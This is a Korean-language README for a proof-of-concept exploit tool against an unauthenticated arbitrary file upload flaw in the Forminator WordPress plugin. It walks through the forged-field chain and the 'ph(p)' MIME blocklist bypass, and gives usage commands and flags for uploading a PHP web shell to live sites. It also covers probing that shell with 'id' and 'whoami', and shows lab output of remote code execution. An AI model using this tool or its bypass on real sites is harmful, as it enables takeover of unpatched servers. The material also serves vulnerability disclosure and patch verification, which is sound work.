
Forminator Forms <= 1.56.1 - 위조된 업로드 필드 구성을 통한 인증되지 않은 임의 파일 업로드
CVSS 9.8 (Critical) · 영향: Forminator <= 1.56.1 · 패치: 1.56.2
연구자: daroo (Wordfence 버그 바운티, $2,048) · 약 60만 개 활성 설치
라이트업: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
위조된 Select 필드 값을 통해 연결되는 세 가지 약점:
중첩 필드 배열에 대한 검증 부재 — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info()는 저장된 각 필드를 반복 처리합니다. 저장된 Select 필드 select-1의 경우,
$field_data = prepared_data['select-1'] (공격자가 제어하는 중첩 배열)입니다. 여기에 return이
포함되면 해당 배열은 필드별 sanitize/validate 전에 에 통째로 추가됩니다
(front-action.php 1088행 근처). 은 이를 제거하지 않습니다.
field_data_arraymaybe_handle_custom_option()신뢰할 수 없는 필드 구성이 업로드 시 신뢰됨 — Forminator_CForm_Front_Action::process_uploads()
field_data_array를 반복 처리하며, 위조된 field_type == 'upload'를 신뢰하고, 위조된 name을 사용해
$_FILES 입력을 선택한 뒤, 위조된 field_array를 신뢰할 수 있는 구성으로
Forminator_Upload::handle_file_upload()에 전달합니다.
차단 목록 정확-키 우회 — forminator_allowed_mime_types()는 리터럴 키 php를 제거하지만,
wp_check_filetype()는 키를 정규식으로 취급합니다. 키 ph(p)는 차단 목록을 통과하면서도
.php 접미사와 매칭됩니다. additional-type = ph(p)|text/x-php를 사용하면 .php 파일이
검증을 통과할 수 있습니다.
게시된 양식에는 파일 업로드 필드와 Select 필드가 모두 포함되어야 합니다. Select는 단지 운반체(carrier)일 뿐입니다.
.php 파일을 디스크에 업로드하는 것은 기본적으로 성공합니다 (쓰기에는 특별한 구성이 필요 없음)..htaccess가 없어야 합니다. 기본 Forminator 루트와 사용자 지정
루트 모두 PHP를 차단하는 .htaccess(SetHandler none / RemoveHandler)가 생성됩니다. RCE는 해당
.htaccess가 없을 때만 실행됩니다 — 라이트업에서 설명한 "insert_with_markers()가 로드되지 않은
프런트엔드 요청 중 생성된 사용자 지정 스토리지 루트" 시나리오입니다..htaccess가 없는 상태를 시뮬레이션하여 RCE를 달성했습니다.wp-content/uploads/forminator/ → 파일 위치:
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root(예: cveuploads)를 설정한 경우 파일은
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>에 저장됩니다.<hash>는 wp_hash($form_id)입니다. 이 값은 사이트의 AUTH salts에서 파생되므로 외부에서 예측할 수 없습니다.
poc.py는 경로 패턴을 출력하며, 경로를 완성하려면 반드시 해시를 복구해야 합니다(디렉터리 목록, 기존 업로드 파일의 URL/로그, 관리자 항목 등) --form-hash를 통해 지정합니다.wp_generate_password(12,false,false) . '-' . <original> 입니다. 예:
cX3fRjMDDu03-shell.php (12자리 영숫자 + - + 원본 이름).poc.py기본적으로 실사용(live) 우선 설계입니다. 로컬 실험실 헬퍼(파일 FS 스캔, .htaccess 제거)는
http://wordpresslab.test / http://localhost에서만 동작합니다.
# A) 가장 간단한 방법 (자동 발견): 페이지를 가져와 nonce/form_id/필드 파싱, 자동 입력, 업로드
python3 poc.py --target https://site.tld/ # url만 입력 -> index를 가져옴
python3 poc.py --target https://site.tld/kontak # 경로 지정 -> 해당 페이지를 가져옴
python3 poc.py --target https://site.tld/ --page-id 42 # ?page_id=42 추가
# B) 수동 nonce/form-id (발견 건너뜀, 그래도 --auto 수집을 위해 페이지를 가져옴)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) 실사용 대상에서 후보 셸 URL 검증
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) 로컬 실험실: 전체 RCE (컨테이너 FS 스캔, .htaccess 제거, 실행)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| 플래그 | 설명 |
|---|---|
--target | 기본 URL (--page-id/수동 지정이 없으면 전체 페이지 URL) |
--page-id | 게시물 ID. 비어 있으면 target URL 자체를 가져와 nonce/form_id를 얻음 |
--form-id, --nonce | 자동 발견을 건너뜀. 그래도 --auto 수집을 위해 페이지를 가져옴 |
--upload-field | 실제 업로드 필드 이름 (기본값 upload-1) |
--forge-name | 위조된 $_FILES 운반체 (기본값 = 실제 이름, 충돌 모드. 깨끗한 success=True를 원하면 다른 이름 사용) |
--select | 사용할 select 필드 (기본값 select-1) |
--extra name=value | 필드 값 강제 지정 (반복 가능. 여러 값은 --extra 'checkbox-1[]=a+b') |
--auto / --no-auto | HTML에서 실제 양식 필드를 수집하고 유형별로 그럴듯한 값을 자동 입력 (기본값 켜짐) |
--upload-root | 상대 업로드 루트 (기본값 wp-content/uploads/forminator; 사용자 지정 루트는 예: wp-content/uploads/cveuploads) |
--form-hash | 업로드 디렉터리의 <hash> 부분 → 구체적인 URL 완성/출력 |
--verify-url | 실사용: 후보 셸 URL을 ?c=id/?c=whoami로 탐색 |
--find-shell | 로컬 전용 (wordpresslab.test/localhost): 가장 최신 *-shell.php 찾기, .htaccess 제거, 실행 |
--no-htaccess | 로컬 실험실 .htaccess 제거 메모 출력 |
--auto 값 매핑 (양식 HTML에서 수집)| 필드 유형 | 생성 값 |
|---|---|
email / 이름에 email 포함 | auto<rand>@mailinator.com |
tel / 이름에 phone 포함 | 10자리 난수 |
url / 이름에 url 포함 | https://example.com/<rand> |
number | 1–9999 사이 난수 |
date | 2026-08-19 |
checkbox/radio 그룹 name[] | 첫 번째 옵션 값 (같은 이름의 모든 input 스캔) |
| 단일 checkbox/radio | value 속성, 없으면 checked |
<select> (운반체 아님) | 첫 번째 비어 있지 않은 옵션 |
<textarea> | 임의 텍스트 |
| 일반 텍스트 | 임의 10자 |
건너뜀: 내부 필드 (action/form_id/nonce/...), type="file" (upload-*), select-*
(악용 운반체), calculation-* (계산값), 외부 플러그인 필드 (wpforms[...]).
설정:
build_form.php, Forminator_Form_Model API로 생성).forminator_custom_upload=1, forminator_custom_upload_root=cveuploads). cveuploads/는 실험실 산출물이지 Forminator 기본값이 아닙니다.success=True를 얻으려면 위조된 name이 실제 업로드 필드의 element_id와 달라야 합니다. 이름이 충돌해도 파일은 업로드되지만, 실제 필드도 자체 기본 MIME 검사를 실행하므로 응답에 오류가 보고되는 동안 셸은 이미 디스크에 존재합니다.원시 증거 (실험실 실행):
# 기본 경로 패턴 (해시는 사이트 비밀):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess 존재 (보호됨): 요청 시 원시 PHP 소스가 반환됨 (실행되지 않음)
poc.py — 실사용 우선 PoC (자동 발견, 자동 입력, verify-url, 로컬 RCE 헬퍼)build_form.php — 모델 API를 통한 프로그램 방식 실험실 양식 빌더 (업로드 + select)README.md — 이 문서.htaccess/index 보호 범위에 포함되는지 확인하세요.